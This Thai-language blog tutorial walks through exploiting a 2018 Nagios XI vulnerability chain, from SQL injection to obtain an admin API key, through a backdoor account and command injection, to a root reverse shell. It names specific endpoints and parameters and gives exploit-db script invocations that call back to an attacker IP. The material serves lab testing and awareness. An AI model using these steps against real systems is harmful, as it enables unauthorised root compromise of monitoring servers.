How to exploit Nagios XI – Unauthenticated Remote Code Execution

บทนำ (Overview) :

Nagios ถือเป็น open-source tools ที่ใช้ในการmonitoring / tracking พวก resource / performance ต่างๆ สำหรับ Infrastructure โดยปัจจุบัน Nagios ได้เป็นที่นิยมมากขึ้นในหมู่กลุ่มผู้ดูแลระบบ (System Administrator) และผู้ดูแลเครือข่าย (Network Administrator) เนื่องจาก tool ตัวนี้นั้นสามารถปรับแต่ง (customize) ได้หลากหลาย ทำให้มีประโยชน์ในการใช้งานมากกว่า tool อื่นๆในกลุ่มเดียวกัน

         ด้วยความที่สามารถ custom ได้ค่อนข้างหลากหลาย และสามารถควบคุม Infrastructure ได้ค่อนข้างสะดวกนั้น เป็นเหตุให้ถ้า hacker สามารถยึดเครื่องที่ติดตั้ง NagiosXI นี้ได้ ก็นับเป็นความเสี่ยงที่สูงมากที่ hacker จะสามารถเข้าถึง จัดการ asset ต่างๆ ที่ถูกติดตั้ง Nagios XI ไว้ได้

         ทางแอดมินเองได้เล็งเห็นว่าช่องโหว่นี้เป็นช่องโหว่ที่น่าสนใจเนื่องจากเป็นการ chain สวยๆ ตั้งแต่ยังไม่ได้ credential จนสามารถยึด root ของเครื่องเป้าหมายได้เลย และยังไม่ได้เก่ามากนัก (เป็นช่องโหว่ปี 2018) จึงได้หยิบยกมาเป็นตัวอย่างเพื่อนำไปทดสอบกัน หากผู้อ่านนั้นมีการใช้งาน Nagios XI ใน version ที่มีช่องโหว่ได้

บทความโดย
Vanitas
Cyber Security Researcher

Software version ที่มีช่องโหว่:

  1. Nagios XI ver.5.2.6 – 5.2.9
  2. Nagios XI ver.5.3.x
  3. Nagios XI ver.5.4.0 – 5.4.12

CVE References :

  1. CVE-2018-8734 – Unauthenticated SQL injection
  2. CVE-2018-8733 – Authentication Bypass
  3. CVE-2018-8735 – Authenticated Command Injection
  4. CVE-2018-8736 – Nagios XI Privilege Escalation

ขั้นตอนการโจมตีช่องโหว่ในแต่ละขั้นตอน

  1. ผู้โจมตีสามารถเข้าถึงหน้าเว็บ Nagiosql Adminแล้วสามารถโจมตีผ่าน SQL Injection เพื่อได้ API Key ของ account : Nagios Administrator ได้
  2. ผู้โจมตีนำ API Key ที่ได้ ไปสร้าง backdoor account ที่มีสิทธิ์เป็น Administrator บน database ผ่าน APIของ Nagios XI
  3. ผู้โจมตีทำการ log-in ด้วย backdoor account แล้วทำ command injection บนเครื่องเป้าหมายที่ใช้งาน Nagios XI ได้
  4. ผู้โจมตีสามารถใช้ command injection โจมตีร่วมกับ SUDO rights ที่มีอยู่จากuser : nagios เพื่อยกสิทธิ์เป็น root และได้ reverse shell 

ขั้นตอน setup lab :

  1. Download Nagios XI version 5.4.10 มาติดตั้ง
  2. Browse เข้าหน้าแรก จะถูก re-direct ไปหน้าหลักของ Nagios XI แล้วให้คลิก Access Nagios XI
  3. Initial การใช้งาน โดย Nagios XI จะบังคับให้เราตั้งค่าpassword ของ user : nagiosadmin โดยในเคสนี้สามารถปล่อยเป็น random ไปได้เลย ต่อให้ brute-force มาก็เข้าไม่ได้ เพราะ password ค่อนข้าง complex มากๆอยู่แล้ว
  4. คลิกที่ Install ถือว่า setup เรียบร้อยพร้อมใช้งาน และพร้อมให้ทดสอบเจาะ

ขั้นตอนการทดสอบแบบ manual:

  1. Browseเข้าหน้าแรกของ Nagios XI ลองทดสอบด้วย default password แล้วพบว่าเข้าไม่ได้ แสดงว่าไม่ได้เป็น Mis-configuration ในส่วนของ credential
  2. ลองview source ดูโดย search ในส่วนของ versionเพื่อ confirm ว่า target เป็น version 5.4.10 ที่มีช่องโหว่
  3. POST request ไปยัง page : /nagiosql/admin/settings.php เพื่อทำการ reset password สำหรับ user : root บน database : nagiosql
  4. POST request โดยโจมตี SQL Injection ไปที่ page : /nagiosql/admin/helpedit.php โดย inject ผ่านparameter : selInfoKey1 โดยในคราวนี้ ผู้โจมตีจะได้ API Key ของ Nagios Admin มาแล้ว
  5. หรือ view ผ่าน raw response ก็ได้เช่นกัน ให้ทำการ save API Key นี้ไว้ เพราะต้องนำมาใช้ต่อ
  6. ทดสอบbrowseไปที่ page : /nagiosxi/api/v1/system/user โดย fill API Key ที่ได้มาจาก task no.6 ดู จะพบว่าผู้โจมตีจะสามารถเข้าถึง user ทั้งหมดบน databaseได้
  7. POST request ไปที่ page : /nagiosxi/api/v1/system/user ด้วย API Key แต่ในคราวนี้ผู้โจมตีจะใช้ช่องโหว่ในการเพิ่มbackdoor account เข้าไปในระบบ เพื่อให้สามารถ authenticateเข้าไปใน web console ในภายหลังได้
  8. จากรูปพบว่า account ใหม่ ชื่อ username : eviluser จะถูก create บน database ของ nagios แล้ว
  9. กลับไปหน้าlog-inแล้ว log-in ด้วย user ที่สร้างขึ้นใหม่ แล้วคลิก agree
  10. จากรูปพบว่าเข้าไปหน้าNagios XI portal ได้สำเร็จ ซึ่ง ณ ตอนนี้ prove ได้แล้วว่าเป็นAdmin account แล้ว
  11. Interceptด้วย Burp และ POST request ไปที่ page : /nagiosxi/backend/index.phpโดยทดสอบทำ Command Injectionสร้าง malicious page บน target
  12. ทดสอบbrowse page ที่สร้างขึ้น พบว่าถูกสร้างอยู่บน target แล้วจริงๆ ซึ่ง prove ว่าทำ command injection ไปวาง backdoor หรือ execute arbitrary code ได้สำเร็จแล้ว
  13. เปลี่ยนpayloadจาก POST request ให้ไปสร้าง file ด้วยสิทธิ์ root ดูบ้าง โดยเปลี่ยน payload ของ Command Injection ให้ลองไปสร้างไฟล์ rootบน /tmp แล้วลองเรียกดูว่าใช้สิทธิ์ userใดในการ write file
  14. หลักจากsend payload แล้ว ลองbrowse page เดิมอีกที จะพบว่าไฟล์ /tmp/root โดนสร้างขึ้นแล้วด้วยสิทธิ์ root เรียบร้อย
  15. เมื่อproveได้แล้วว่าสามารถสร้างทำ Command Injection ด้วยroot ได้แล้ว ก็เปลี่ยน payload ให้เป็นpython reverse shell ส่งมาที่ผู้โจมตี โดยที่ผู้โจมตีเปิด netcat listener ทิ้งไว้ แล้วลอง send payload ดูใหม่
  16. เมื่อสำเร็จ ผู้โจมตีจะได้ reverse shell ด้วย root privilege account ของ target เรียบร้อย

ขั้นตอนการทดสอบแบบใช้ exploit script :

  1. Download public exploit จาก https://www.exploit-db.com/exploits/44560
  2. หากต้องการ execute command ด้วย root ให้ใช้command parameter ดังนี้
  3. python 44560.py -r [target_ip] -c “[command_execution]”
  4. แต่ถ้าหากต้องการทำ reverse shell ด้วย root ให้ใช้ command parameter ดังนี้
  5. python 44560.py -r [target_ip] -l [attacker_listener_port] -p [attacker_ip]

ตัวอย่าง: exploit script แล้วได้ reverse shell เป็น root privilege

References :

 http://blog.redactedsec.net/exploits/2018/04/26/nagios.html
 https://www.exploit-db.com/exploits/44560
 https://github.com/xfer0/Nagios-XI-5.2.6-9-5.3-5.4-Chained-Remote-Root-Exploit-Fixed